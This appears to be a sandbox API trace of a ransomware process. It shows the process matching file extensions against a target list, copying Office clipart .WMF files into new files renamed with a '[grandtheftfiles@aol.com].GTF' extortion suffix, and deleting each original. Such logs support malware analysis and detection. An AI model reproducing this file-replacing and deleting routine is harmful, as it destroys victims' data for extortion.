	[0088.596] lstrlenW (lpString=".zip") returned 4
	[0088.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.596] lstrlenW (lpString=".rar") returned 4
	[0088.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.596] lstrlenW (lpString=".bz2") returned 4
	[0088.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.596] lstrlenW (lpString=".7z") returned 3
	[0088.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.596] lstrlenW (lpString=".dbf") returned 4
	[0088.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.596] lstrlenW (lpString=".1cd") returned 4
	[0088.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.596] lstrlenW (lpString=".jpg") returned 4
	[0088.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.596] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.596] lstrlenW (lpString="FD02116_.WMF") returned 12
	[0088.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.597] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3988) returned 1
	[0088.597] CloseHandle (hObject=0x378) returned 1
	[0088.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220
	[0088.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.597] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.597] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.597] GetLastError () returned 0x0
	[0088.598] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xf94, lpOverlapped=0x0) returned 1
	[0088.599] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0088.600] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.600] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.600] SetEndOfFile (hFile=0x35c) returned 1
	[0088.600] CloseHandle (hObject=0x35c) returned 1
	[0088.600] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.600] SetEndOfFile (hFile=0x378) returned 1
	[0088.601] CloseHandle (hObject=0x378) returned 1
	[0088.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1
	[0088.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.602] lstrlenW (lpString=".doc") returned 4
	[0088.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.602] lstrlenW (lpString=".docx") returned 5
	[0088.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.602] lstrlenW (lpString=".pdf") returned 4
	[0088.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.602] lstrlenW (lpString=".xls") returned 4
	[0088.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.602] lstrlenW (lpString=".xlsx") returned 5
	[0088.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.602] lstrlenW (lpString=".ppt") returned 4
	[0088.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.602] lstrlenW (lpString=".zip") returned 4
	[0088.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.602] lstrlenW (lpString=".rar") returned 4
	[0088.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.602] lstrlenW (lpString=".bz2") returned 4
	[0088.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.602] lstrlenW (lpString=".7z") returned 3
	[0088.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.602] lstrlenW (lpString=".dbf") returned 4
	[0088.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.602] lstrlenW (lpString=".1cd") returned 4
	[0088.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.603] lstrlenW (lpString=".jpg") returned 4
	[0088.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.603] lstrlenW (lpString=".doc") returned 4
	[0088.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.603] lstrlenW (lpString=".docx") returned 5
	[0088.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.603] lstrlenW (lpString=".pdf") returned 4
	[0088.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.603] lstrlenW (lpString=".xls") returned 4
	[0088.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.603] lstrlenW (lpString=".xlsx") returned 5
	[0088.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.603] lstrlenW (lpString=".ppt") returned 4
	[0088.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.603] lstrlenW (lpString=".zip") returned 4
	[0088.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.603] lstrlenW (lpString=".rar") returned 4
	[0088.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.603] lstrlenW (lpString=".bz2") returned 4
	[0088.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.603] lstrlenW (lpString=".7z") returned 3
	[0088.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.603] lstrlenW (lpString=".dbf") returned 4
	[0088.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.603] lstrlenW (lpString=".1cd") returned 4
	[0088.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0088.603] lstrlenW (lpString=".jpg") returned 4
	[0088.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.604] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.604] lstrlenW (lpString="FD02141_.WMF") returned 12
	[0088.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.604] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2636) returned 1
	[0088.604] CloseHandle (hObject=0x378) returned 1
	[0088.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220
	[0088.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.605] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.605] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.605] GetLastError () returned 0x0
	[0088.605] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0088.607] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xa50, lpOverlapped=0x0) returned 1
	[0088.608] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.608] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.608] SetEndOfFile (hFile=0x35c) returned 1
	[0088.608] CloseHandle (hObject=0x35c) returned 1
	[0088.608] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.608] SetEndOfFile (hFile=0x378) returned 1
	[0088.609] CloseHandle (hObject=0x378) returned 1
	[0088.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1
	[0088.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.609] lstrlenW (lpString=".doc") returned 4
	[0088.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.609] lstrlenW (lpString=".docx") returned 5
	[0088.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.610] lstrlenW (lpString=".pdf") returned 4
	[0088.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.610] lstrlenW (lpString=".xls") returned 4
	[0088.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.610] lstrlenW (lpString=".xlsx") returned 5
	[0088.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.610] lstrlenW (lpString=".ppt") returned 4
	[0088.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.610] lstrlenW (lpString=".zip") returned 4
	[0088.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.610] lstrlenW (lpString=".rar") returned 4
	[0088.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.610] lstrlenW (lpString=".bz2") returned 4
	[0088.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.610] lstrlenW (lpString=".7z") returned 3
	[0088.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.610] lstrlenW (lpString=".dbf") returned 4
	[0088.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.610] lstrlenW (lpString=".1cd") returned 4
	[0088.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.610] lstrlenW (lpString=".jpg") returned 4
	[0088.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.610] lstrlenW (lpString=".doc") returned 4
	[0088.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.610] lstrlenW (lpString=".docx") returned 5
	[0088.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.610] lstrlenW (lpString=".pdf") returned 4
	[0088.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.611] lstrlenW (lpString=".xls") returned 4
	[0088.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.611] lstrlenW (lpString=".xlsx") returned 5
	[0088.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.611] lstrlenW (lpString=".ppt") returned 4
	[0088.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.611] lstrlenW (lpString=".zip") returned 4
	[0088.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.611] lstrlenW (lpString=".rar") returned 4
	[0088.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.611] lstrlenW (lpString=".bz2") returned 4
	[0088.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.611] lstrlenW (lpString=".7z") returned 3
	[0088.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.611] lstrlenW (lpString=".dbf") returned 4
	[0088.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.611] lstrlenW (lpString=".1cd") returned 4
	[0088.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0088.611] lstrlenW (lpString=".jpg") returned 4
	[0088.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.611] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.611] lstrlenW (lpString="FD02153_.WMF") returned 12
	[0088.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.612] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=5392) returned 1
	[0088.612] CloseHandle (hObject=0x378) returned 1
	[0088.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220
	[0088.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.612] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.612] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.613] GetLastError () returned 0x0
	[0088.613] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1510, lpOverlapped=0x0) returned 1
	[0088.614] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1520, lpOverlapped=0x0) returned 1
	[0088.615] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.615] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.615] SetEndOfFile (hFile=0x35c) returned 1
	[0088.616] CloseHandle (hObject=0x35c) returned 1
	[0088.616] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.616] SetEndOfFile (hFile=0x378) returned 1
	[0088.617] CloseHandle (hObject=0x378) returned 1
	[0088.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1
	[0088.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.617] lstrlenW (lpString=".doc") returned 4
	[0088.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.617] lstrlenW (lpString=".docx") returned 5
	[0088.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.617] lstrlenW (lpString=".pdf") returned 4
	[0088.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.617] lstrlenW (lpString=".xls") returned 4
	[0088.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.617] lstrlenW (lpString=".xlsx") returned 5
	[0088.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.617] lstrlenW (lpString=".ppt") returned 4
	[0088.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.617] lstrlenW (lpString=".zip") returned 4
	[0088.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.617] lstrlenW (lpString=".rar") returned 4
	[0088.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString=".bz2") returned 4
	[0088.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString=".7z") returned 3
	[0088.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.618] lstrlenW (lpString=".dbf") returned 4
	[0088.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.618] lstrlenW (lpString=".1cd") returned 4
	[0088.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.618] lstrlenW (lpString=".jpg") returned 4
	[0088.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.618] lstrlenW (lpString=".doc") returned 4
	[0088.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString=".docx") returned 5
	[0088.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.618] lstrlenW (lpString=".pdf") returned 4
	[0088.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString=".xls") returned 4
	[0088.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.618] lstrlenW (lpString=".xlsx") returned 5
	[0088.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.618] lstrlenW (lpString=".ppt") returned 4
